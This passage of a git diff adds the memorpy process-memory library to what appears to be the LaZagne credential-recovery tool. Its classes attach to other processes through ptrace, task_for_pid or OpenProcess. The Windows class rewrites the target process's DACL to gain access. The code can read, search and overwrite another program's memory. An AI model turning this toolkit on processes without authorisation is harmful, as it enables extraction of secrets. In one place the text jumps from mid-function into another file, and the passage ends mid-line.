PTRACE_TRACEME is + unchanged. + + 1 - restricted ptrace: a process must have a predefined relationship + with the inferior it wants to call PTRACE_ATTACH on. By default, + this relationship is that of only its descendants when the above + classic criteria is also met. To change the relationship, an + inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare + an allowed debugger PID to call PTRACE_ATTACH on the inferior. + Using PTRACE_TRACEME is unchanged. + + 2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace + with PTRACE_ATTACH, or through children calling PTRACE_TRACEME. + + 3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via + PTRACE_TRACEME. Once set, this sysctl value cannot be changed. + """ + try: + with open("/proc/sys/kernel/yama/ptrace_scope",'rb') as f: + ptrace_scope=int(f.read().strip()) + if ptrace_scope==3: + logger.warning("yama/ptrace_scope == 3 (no attach). :/") + if os.getuid()==0: + return + elif ptrace_scope == 1: + logger.warning("yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root") + elif ptrace_scope == 2: + logger.warning("yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE") + + except IOError: + pass + + except Exception as e: + logger.warning("Error getting ptrace_scope ?? : %s"%e) + + def close(self): + if self.mem_file: + if not LARGE_FILE_SUPPORT: + self.mem_file.close() + else: + c_close(self.mem_file) + self.mem_file=None + if self.ptrace_started: + self.ptrace_detach() + + def __del__(self): + self.close() + + def _open(self): + self.isProcessOpen = True + self.check_ptrace_scope() + if os.getuid()!=0: + #to raise an exception if ptrace is not allowed + self.ptrace_attach() + self.ptrace_detach() + + #open file descriptor + if not LARGE_FILE_SUPPORT: + self.mem_file=open("/proc/" + str(self.pid) + "/mem", 'rb', 0) + else: + path=create_string_buffer(b"/proc/%d/mem" % self.pid) + self.mem_file=open64(byref(path), os.O_RDONLY) + + @staticmethod + def list(): + processes=[] + for pid in os.listdir("/proc"): + try: + exe=os.readlink("/proc/%s/exe"%pid) + processes.append({"pid":int(pid), "name":exe}) + except: + pass + return processes + + @staticmethod + def pid_from_name(name): + #quick and dirty, works with all linux not depending on ps output + for pid in os.listdir("/proc"): + try: + int(pid) + except: + continue + pname="" + with open("/proc/%s/cmdline"%pid,'r') as f: + pname=f.read() + if name in pname: + return int(pid) + raise ProcessException("No process with such name: %s"%name) + + ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH. + def _ptrace(self, attach): + op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH) + c_pid = c_pid_t(self.pid) + null = ctypes.c_void_p() + + if not attach: + os.kill(self.pid, signal.SIGSTOP) + os.waitpid(self.pid, 0) + + err = c_ptrace(op, c_pid, null, null) + + if not attach: + os.kill(self.pid, signal.SIGCONT) + + if err != 0: + raise OSError("%s: %s"%( + 'PTRACE_ATTACH' if attach else 'PTRACE_DETACH', + errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN') + )) + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + with open("/proc/" + str(self.pid) + "/maps", 'r') as maps_file: + for line in maps_file: + m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\s+([-rwpsx]+)\s+([0-9A-Fa-f]+)\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\s+([0-9]+)\s*(.*)', line) + if not m: + continue + start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7) + if start_offset is not None: + if start < start_offset: + continue + if end_offset is not None: + if start > end_offset: + continue + chunk=end-start + if 'r' in region_protec: # TODO: handle protec parameter + if optimizations: + if 'i' in optimizations and inode != 0: + continue + if 's' in optimizations and 's' in region_protec: + continue + if 'x' in optimizations and 'x' in region_protec: + continue + if 'r' in optimizations and not 'w' in region_protec: + continue + yield start, chunk + + def ptrace_attach(self): + if not self.ptrace_started: + res=self._ptrace(True) + self.ptrace_started=True + return res + + def ptrace_detach(self): + if self.ptrace_started: + res=self._ptrace(False) + self.ptrace_started=False + return res + + def write_bytes(self, address, data): + if not self.ptrace_started: + self.ptrace_attach() + + c_pid = c_pid_t(self.pid) + null = ctypes.c_void_p() + + + #we can only copy data per range of 4 or 8 bytes + word_size=ctypes.sizeof(ctypes.c_void_p) + #mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ) + for i in range(0, len(data), word_size): + word=data[i:i+word_size] + if len(word). + +import copy +import time +import struct + +from .Address import Address + + +class Locator(object): + """ + take a memoryworker and a type to search + then you can feed the locator with values and it will reduce the addresses possibilities + """ + + def __init__(self, mw, type = 'unknown', start = None, end = None): + self.mw = mw + self.type = type + self.last_iteration = {} + self.last_value = None + self.start = start + self.end = end + + def find(self, value, erase_last = True): + return self.feed(value, erase_last) + + def feed(self, value, erase_last = True): + self.last_value = value + new_iter = copy.copy(self.last_iteration) + if self.type == 'unknown': + all_types = ['uint', + 'int', + 'long', + 'ulong', + 'float', + 'double', + 'short', + 'ushort'] + else: + all_types = [self.type] + for type in all_types: + if type not in new_iter: + try: + new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ] + except struct.error: + new_iter[type] = [] + else: + l = [] + for address in new_iter[type]: + try: + found = self.mw.process.read(address, type) + if int(found) == int(value): + l.append(Address(address, self.mw.process, type)) + except Exception as e: + pass + + new_iter[type] = l + + if erase_last: + del self.last_iteration + self.last_iteration = new_iter + return new_iter + + def get_addresses(self): + return self.last_iteration + + def diff(self, erase_last = False): + return self.get_modified_addr(erase_last) + + def get_modified_addr(self, erase_last = False): + last = self.last_iteration + new = self.feed(self.last_value, erase_last=erase_last) + ret = {} + for type, l in last.iteritems(): + typeset = set(new[type]) + for addr in l: + if addr not in typeset: + if type not in ret: + ret[type] = [] + ret[type].append(addr) + + return ret diff --git a/lazagne/config/lib/memorpy/MemWorker.py b/lazagne/config/lib/memorpy/MemWorker.py new file mode 100644 index 0000000..4a971bb --- /dev/null +++ b/lazagne/config/lib/memorpy/MemWorker.py @@ -0,0 +1,226 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . +import sys +import string +import re +import logging +import traceback +import binascii +import struct + +from .Process import * +from .utils import * +from .Address import Address +from .BaseProcess import ProcessException +from .structures import * + +logger = logging.getLogger('memorpy') + +REGEX_TYPE=type(re.compile("^plop$")) +class MemWorker(object): + + def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True): + self.process = Process(name=name, pid=pid, debug=debug) + + def __enter__(self): + return self + + def __exit__(self, type, value, traceback): + self.process.close() + + def Address(self, value, default_type = 'uint'): + """ wrapper to instanciate an Address class for the memworker.process""" + return Address(value, process=self.process, default_type=default_type) + + def umem_replace(self, regex, replace): + """ like search_replace_mem but works with unicode strings """ + regex = re_to_unicode(regex) + replace = replace.encode('utf-16-le') + return self.mem_replace(re.compile(regex, re.UNICODE), replace) + + def mem_replace(self, regex, replace): + """ search memory for a pattern and replace all found occurrences """ + allWritesSucceed = True + for _, start_offset in self.mem_search(regex, ftype='re'): + if self.process.write_bytes(start_offset, replace) == 1: + logger.debug('Write at offset %s succeeded !' % start_offset) + else: + allWritesSucceed = False + logger.debug('Write at offset %s failed !' % start_offset) + + return allWritesSucceed + + def umem_search(self, regex): + """ like mem_search but works with unicode strings """ + regex = re_to_unicode(regex) + for _, i in self.mem_search(str(regex), ftype='re'): + yield i + + def group_search(self, group, start_offset = None, end_offset = None): + regex = '' + for value, type in group: + if type == 'f' or type == 'float': + f = struct.pack('. + +import copy +import struct +import utils +import platform +import ctypes, re, sys +import ctypes.util +import errno +import os +import signal +from .BaseProcess import BaseProcess, ProcessException +from .structures import * +import logging +import subprocess + +logger = logging.getLogger('memorpy') + +libc = ctypes.CDLL(ctypes.util.find_library('c')) + +VM_REGION_BASIC_INFO_64 = 9 + +class vm_region_basic_info_64(ctypes.Structure): + _fields_ = [ + ('protection', ctypes.c_uint32), + ('max_protection', ctypes.c_uint32), + ('inheritance', ctypes.c_uint32), + ('shared', ctypes.c_uint32), + ('reserved', ctypes.c_uint32), + ('offset', ctypes.c_ulonglong), + ('behavior', ctypes.c_uint32), + ('user_wired_count',ctypes.c_ushort), +] + +VM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4 + +VM_PROT_READ = 1 +VM_PROT_WRITE = 2 +VM_PROT_EXECUTE = 4 + +class OSXProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True): + """ Create and Open a process object from its pid or from its name """ + super(OSXProcess, self).__init__() + if pid is not None: + self.pid=pid + elif name is not None: + self.pid=OSXProcess.pid_from_name(name) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + self.task=None + self.mytask=None + self._open() + + def close(self): + pass + + def __del__(self): + pass + + def _open(self): + self.isProcessOpen = True + self.task = ctypes.c_uint32() + self.mytask=libc.mach_task_self() + ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task)) + if ret!=0: + raise ProcessException("task_for_pid failed with error code : %s"%ret) + + @staticmethod + def list(): + #TODO list processes with ctypes + processes=[] + res=subprocess.check_output("ps A", shell=True) + for line in res.split('\n'): + try: + tab=line.split() + pid=int(tab[0]) + exe=' '.join(tab[4:]) + processes.append({"pid":int(pid), "name":exe}) + except: + pass + return processes + + @staticmethod + def pid_from_name(name): + for dic in OSXProcess.list(): + if name in dic['exe']: + return dic['pid'] + + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + maps = [] + address = ctypes.c_ulong(0) + mapsize = ctypes.c_ulong(0) + name = ctypes.c_uint32(0) + count = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64) + info = vm_region_basic_info_64() + + while True: + r = libc.mach_vm_region(self.task, ctypes.pointer(address), + ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64, + ctypes.pointer(info), ctypes.pointer(count), + ctypes.pointer(name)) + # If we get told "invalid address", we have crossed into kernel land... + if r == 1: + break + + if r != 0: + raise ProcessException('mach_vm_region failed with error code %s' % r) + if start_offset is not None: + if address.value < start_offset: + address.value += mapsize.value + continue + if end_offset is not None: + if address.value > end_offset: + break + p = info.protection + if p & VM_PROT_EXECUTE: + if optimizations and 'x' in optimizations: + address.value += mapsize.value + continue + if info.shared: + if optimizations and 's' in optimizations: + address.value += mapsize.value + continue + if p & VM_PROT_READ: + if not (p & VM_PROT_WRITE): + if optimizations and 'r' in optimizations: + address.value += mapsize.value + continue + yield address.value, mapsize.value + + address.value += mapsize.value + + + def write_bytes(self, address, data): + raise NotImplementedError("write not implemented on OSX") + return True + + def read_bytes(self, address, bytes = 4): + pdata = ctypes.c_void_p(0) + data_cnt = ctypes.c_uint32(0) + + ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt)); + #if ret==1: + # return "" + if ret!=0: + raise ProcessException("mach_vm_read returned : %s"%ret) + buf=ctypes.string_at(pdata.value, data_cnt.value) + libc.vm_deallocate(self.mytask, pdata, data_cnt) + return buf + + diff --git a/lazagne/config/lib/memorpy/Process.py b/lazagne/config/lib/memorpy/Process.py new file mode 100644 index 0000000..b586cd8 --- /dev/null +++ b/lazagne/config/lib/memorpy/Process.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import sys +from .BaseProcess import * +if sys.platform=='win32': + from .WinProcess import WinProcess as Process +elif sys.platform=='darwin': + from .OSXProcess import OSXProcess as Process +elif 'sunos' in sys.platform: + from .SunProcess import SunProcess as Process +else: + from .LinProcess import LinProcess as Process diff --git a/lazagne/config/lib/memorpy/SunProcess.py b/lazagne/config/lib/memorpy/SunProcess.py new file mode 100644 index 0000000..831c7f6 --- /dev/null +++ b/lazagne/config/lib/memorpy/SunProcess.py @@ -0,0 +1,167 @@ +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from .BaseProcess import BaseProcess, ProcessException +import struct +import os + +MA_READ = 0x04 +MA_WRITE = 0x02 +MA_EXEC = 0x01 +MA_SHARED = 0x08 +MA_ANON = 0x40 +MA_ISM = 0x80 +MA_NORESERVE = 0x100 +MA_SHM = 0x200 +MA_RESERVED1 = 0x400 +MA_OSM = 0x800 + +PSINFO_T = struct.Struct( + 'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII' +) + +MAP_T = struct.Struct( + 'LL64sQiiii' +) + +class SunProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True, ptrace=None): + ''' Create and Open a process object from its pid or from its name ''' + super(SunProcess, self).__init__() + self.pid = int(pid) + self.pas = None + self.writable = False + if name and not self.pid: + self.pid = SunProcess.pid_from_name(name) + if not name and not self.pid: + raise ValueError('You need to instanciate process with at least a name or a pid') + try: + self._open() + except: + pass + + def close(self): + if self.pas: + self.pas.close() + + def __del__(self): + self.close() + + def _open(self): + try: + self.pas = open('/proc/%d/as'%(self.pid), 'w+') + self.writable = True + except IOError: + self.pas = open('/proc/%d/as'%(self.pid)) + + self.isProcessOpen = True + + @staticmethod + def _name_args(pid): + with open('/proc/%d/psinfo'%(int(pid))) as psinfo: + items = PSINFO_T.unpack_from(psinfo.read()) + return items[23].rstrip('\x00'), items[24].rstrip('\x00') + + @staticmethod + def list(): + processes=[] + for pid in os.listdir('/proc'): + try: + pid = int(pid) + name, _ = SunProcess._name_args(pid) + processes.append({ + 'pid': pid, + 'name': name + }) + except: + pass + + return processes + + @staticmethod + def pid_from_name(name): + processes=[] + for pid in os.listdir('/proc'): + try: + pid = int(pid) + pname, cmdline = SunProcess._name_args(pid) + if name in pname: + return pid + if name in cmdline.split(' ', 1)[0]: + return pid + except: + pass + + raise ProcessException('No process with such name: %s'%name) + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + if not self.isProcessOpen: + return + + with open('/proc/%d/map'%(self.pid)) as maps_file: + while True: + mapping = maps_file.read(MAP_T.size) + + if not mapping: + break + + start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping) + + if start_offset is not None: + if start < start_offset: + continue + + if end_offset is not None: + if start > end_offset: + continue + + if not flags & MA_READ: + continue + + if optimizations: + if 'i' in optimizations and not flags & MA_ANON: + continue + if 's' in optimizations and flags & MA_SHM: + continue + # in sunos it's quite common when this flag is set, so let's use other letter + if 'X' in optimizations and flags & MA_EXEC: + continue + if 'r' in optimizations and not flags & MA_WRITE: + continue + + yield start, size + + def write_bytes(self, address, data): + if not self.pas or not self.writable: + return False + + self.pas.seek(address) + self.pas.write(data) + + return True + + def read_bytes(self, address, bytes = 4): + if not self.pas: + return + + self.pas.seek(address) + return self.pas.read(bytes) diff --git a/lazagne/config/lib/memorpy/WinProcess.py b/lazagne/config/lib/memorpy/WinProcess.py new file mode 100644 index 0000000..0f729e3 --- /dev/null +++ b/lazagne/config/lib/memorpy/WinProcess.py @@ -0,0 +1,312 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError +from .structures import * +import copy +import struct +# import utils +import platform +from .BaseProcess import BaseProcess, ProcessException + +psapi = windll.psapi +kernel32 = windll.kernel32 +advapi32 = windll.advapi32 + +IsWow64Process=None +if hasattr(kernel32,'IsWow64Process'): + IsWow64Process=kernel32.IsWow64Process + IsWow64Process.restype = c_bool + IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)] + +class WinProcess(BaseProcess): + + def __init__(self, pid=None, name=None, debug=True): + """ Create and Open a process object from its pid or from its name """ + super(WinProcess, self).__init__() + if pid: + self._open(int(pid), debug=debug) + + elif name: + self._open_from_name(name, debug=debug) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + + if self.is_64bit(): + si = self.GetNativeSystemInfo() + self.max_addr = si.lpMaximumApplicationAddress + else: + si = self.GetSystemInfo() + self.max_addr = 2147418111 + self.min_addr = si.lpMinimumApplicationAddress + + + def __del__(self): + self.close() + + def is_64bit(self): + if not "64" in platform.machine(): + return False + iswow64 = c_bool(False) + if IsWow64Process is None: + return False + if not IsWow64Process(self.h_process, byref(iswow64)): + raise WinError() + return not iswow64.value + + @staticmethod + def list(): + processes=[] + arr = c_ulong * 256 + lpidProcess= arr() + cb = sizeof(lpidProcess) + cbNeeded = c_ulong() + hModule = c_ulong() + count = c_ulong() + modname = create_string_buffer(100) + PROCESS_QUERY_INFORMATION = 0x0400 + PROCESS_VM_READ = 0x0010 + + psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded)) + nReturned = int(cbNeeded.value/sizeof(c_ulong())) + + pidProcess = [i for i in lpidProcess][:nReturned] + for pid in pidProcess: + proc={ "pid": int(pid) } + hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) + if hProcess: + psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count)) + psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname)) + proc["name"]=modname.value.decode() + kernel32.CloseHandle(hProcess) + processes.append(proc) + return processes + + @staticmethod + def processes_from_name(processName): + processes = [] + for process in WinProcess.list(): + if processName == process.get("name", None) or (process.get("name","").lower().endswith(".exe") and process.get("name","")[:-4]==processName): + processes.append(process) + + if len(processes) > 0: + return processes + + @staticmethod + def name_from_process(dwProcessId): + process_list = WinProcess.list() + for process in process_list: + if process.pid == dwProcessId: + return process.get("name", None) + + return False + + def _open(self, dwProcessId, debug=False): + if debug: + ppsidOwner = DWORD() + ppsidGroup = DWORD() + ppDacl = DWORD() + ppSacl = DWORD() + ppSecurityDescriptor = SECURITY_DESCRIPTOR() + + process = kernel32.OpenProcess(262144, 0, dwProcessId) + advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor)) + advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group) + kernel32.CloseHandle(process) + self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId) + if self.h_process is not None: + self.isProcessOpen = True + self.pid = dwProcessId + return True + return False + + def close(self): + if self.h_process is not None: + ret = kernel32.CloseHandle(self.h_process) == 1 + if ret: + self.h_process = None + self.pid = None + self.isProcessOpen = False + return ret + return False + + def _open_from_name(self, processName, debug=False): + processes = self.processes_from_name(processName) + if not processes: + raise ProcessException("can't get pid from name %s" % processName) + elif len(processes)>1: + raise ValueError("There is multiple processes with name %s. Please select a process from its pid instead"%processName) + if debug: + self._open(processes[0]["pid"], debug=True) + else: + self._open(processes[0]["pid"], debug=False) + + def GetSystemInfo(self): + si = SYSTEM_INFO() + kernel32.GetSystemInfo(byref(si)) + return si + + def GetNativeSystemInfo(self): + si = SYSTEM_INFO() + kernel32.GetNativeSystemInfo(byref(si)) + return si + + def VirtualQueryEx(self, lpAddress): + mbi = MEMORY_BASIC_INFORMATION() + if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): + raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) + return mbi + + def VirtualQueryEx64(self, lpAddress): + mbi = MEMORY_BASIC_INFORMATION64() + if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): + raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) + return mbi + + def VirtualProtectEx(self, base_address, size, protection): + old_protect = c_ulong(0) + if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)): + raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection)) + return old_protect.value + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + + offset = start_offset or self.min_addr + end_offset = end_offset or self.max_addr + + while True: + if offset >= end_offset: + break + mbi = self.VirtualQueryEx(offset) + offset = mbi.BaseAddress + chunk = mbi.RegionSize + protect = mbi.Protect + state = mbi.State + #print "offset: %s, chunk:%s"%(offset, chunk) + if state & MEM_FREE or state & MEM_RESERVE: + offset += chunk + continue + if protec: + if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD: + offset += chunk + continue + yield offset, chunk + offset += chunk + + def write_bytes(self, address, data): + address = int(address) + if not self.isProcessOpen: + raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid)) + buffer = create_string_buffer(data) + sizeWriten = c_size_t(0) + bufferSize = sizeof(buffer) - 1 + _address = address + _length = bufferSize + 1 + try: + old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE) + except: + pass + + res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten)) + try: + self.VirtualProtectEx(_address, _length, old_protect) + except: + pass + + return res + + def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False): + #print "reading %s bytes from addr %s"%(bytes, address) + if use_NtWow64ReadVirtualMemory64: + if NtWow64ReadVirtualMemory64 is None: + raise WindowsError("NtWow64ReadVirtualMemory64 is not available from a 64bit process") + RpM = NtWow64ReadVirtualMemory64 + else: + RpM = ReadProcessMemory + + address = int(address) + buffer = create_string_buffer(bytes) + bytesread = c_size_t(0) + data = b'' + length = bytes + while length: + if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0): + if bytesread.value: + data += buffer.raw[:bytesread.value] + length -= bytesread.value + address += bytesread.value + if not len(data): + raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(), + address, + length, + bytesread.value)) + return data + else: + if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it + data += buffer.raw[:bytesread.value] + return data + raise WinError() + # data += buffer.raw[:bytesread.value] + # length -= bytesread.value + # address += bytesread.value + return data + + + def list_modules(self): + module_list = [] + if self.pid is not None: + hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid) + if hModuleSnap is not None: + module_entry = MODULEENTRY32() + module_entry.dwSize = sizeof(module_entry) + success = Module32First(hModuleSnap, byref(module_entry)) + while success: + if module_entry.th32ProcessID == self.pid: + module_list.append(copy.copy(module_entry)) + success = Module32Next(hModuleSnap, byref(module_entry)) + + kernel32.CloseHandle(hModuleSnap) + return module_list + + def get_symbolic_name(self, address): + for m in self.list_modules(): + if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize): + return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr) + + return '0x%08X' % int(address) + + def hasModule(self, module): + if module[-4:] != '.dll': + module += '.dll' + module_list = self.list_modules() + for m in module_list: + if module in m.szExePath.split('\\'): + return True + return False + + + def get_instruction(self, address): + """ + Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction. + """ + import pydasm + try: + data = self.read_bytes(int(address), 32) + except: + return 'Unable to disassemble at %08x' % address + + return pydasm.get_instruction(data, pydasm.MODE_32) + diff --git a/lazagne/config/lib/memorpy/WinStructures.py b/lazagne/config/lib/memorpy/WinStructures.py new file mode 100644 index 0000000..ac49d36 --- /dev/null +++ b/lazagne/config/lib/memorpy/WinStructures.py @@ -0,0 +1,190 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong +from ctypes.wintypes import * + +if sizeof(c_void_p) == 8: + ULONG_PTR = c_ulonglong +else: + ULONG_PTR = c_ulong + + +class SECURITY_DESCRIPTOR(Structure): + _fields_ = [ + ('SID', DWORD), + ('group', DWORD), + ('dacl', DWORD), + ('sacl', DWORD), + ('test', DWORD) + ] +PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR) + +class MEMORY_BASIC_INFORMATION(Structure): + _fields_ = [('BaseAddress', c_void_p), + ('AllocationBase', c_void_p), + ('AllocationProtect', DWORD), + ('RegionSize', c_size_t), + ('State', DWORD), + ('Protect', DWORD), + ('Type', DWORD)] + +# https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx +class MEMORY_BASIC_INFORMATION64(Structure): + _fields_ = [('BaseAddress', c_ulonglong), + ('AllocationBase', c_ulonglong), + ('AllocationProtect', DWORD), + ('alignement1', DWORD), + ('RegionSize', c_ulonglong), + ('State', DWORD), + ('Protect', DWORD), + ('Type', DWORD), + ('alignement2', DWORD)] + + + +class SYSTEM_INFO(Structure): + _fields_ = [('wProcessorArchitecture', WORD), + ('wReserved', WORD), + ('dwPageSize', DWORD), + ('lpMinimumApplicationAddress', LPVOID), + ('lpMaximumApplicationAddress', LPVOID), + ('dwActiveProcessorMask', ULONG_PTR), + ('dwNumberOfProcessors', DWORD), + ('dwProcessorType', DWORD), + ('dwAllocationGranularity', DWORD), + ('wProcessorLevel', WORD), + ('wProcessorRevision', WORD)] + + +class PROCESSENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('cntUsage', c_uint), + ('th32ProcessID', c_uint), + ('th32DefaultHeapID', c_uint), + ('th32ModuleID', c_uint), + ('cntThreads', c_uint), + ('th32ParentProcessID', c_uint), + ('pcPriClassBase', c_long), + ('dwFlags', DWORD), + #('dwFlags', ULONG_PTR), + ('szExeFile', c_char * 260), + ('th32MemoryBase', c_long), + ('th32AccessKey', c_long)] + + +class MODULEENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('th32ModuleID', c_uint), + ('th32ProcessID', c_uint), + ('GlblcntUsage', c_uint), + ('ProccntUsage', c_uint), + ('modBaseAddr', c_uint), + ('modBaseSize', c_uint), + ('hModule', c_uint), + ('szModule', c_char * 256), + ('szExePath', c_char * 260)] + + +class THREADENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('cntUsage', c_uint), + ('th32ThreadID', c_uint), + ('th32OwnerProcessID', c_uint), + ('tpBasePri', c_uint), + ('tpDeltaPri', c_uint), + ('dwFlags', c_uint)] + + +class TH32CS_CLASS(object): + INHERIT = 2147483648 + SNAPHEAPLIST = 1 + SNAPMODULE = 8 + SNAPMODULE32 = 16 + SNAPPROCESS = 2 + SNAPTHREAD = 4 + ALL = 2032639 + + +Module32First = windll.kernel32.Module32First +Module32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)] +Module32First.rettype = c_int +Module32Next = windll.kernel32.Module32Next +Module32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)] +Module32Next.rettype = c_int + +Process32First = windll.kernel32.Process32First +Process32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] +Process32First.rettype = c_int +Process32Next = windll.kernel32.Process32Next +Process32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] +Process32Next.rettype = c_int + +CreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot +CreateToolhelp32Snapshot.reltype = c_long +CreateToolhelp32Snapshot.argtypes = [c_int, c_int] + +CloseHandle = windll.kernel32.CloseHandle +CloseHandle.argtypes = [c_void_p] +CloseHandle.rettype = c_int + +OpenProcess = windll.kernel32.OpenProcess +OpenProcess.argtypes = [c_void_p, c_int, c_long] +OpenProcess.rettype = c_long +OpenProcessToken = windll.advapi32.OpenProcessToken +OpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE)) +OpenProcessToken.restype = BOOL + +ReadProcessMemory = windll.kernel32.ReadProcessMemory +ReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)] +ReadProcessMemory = 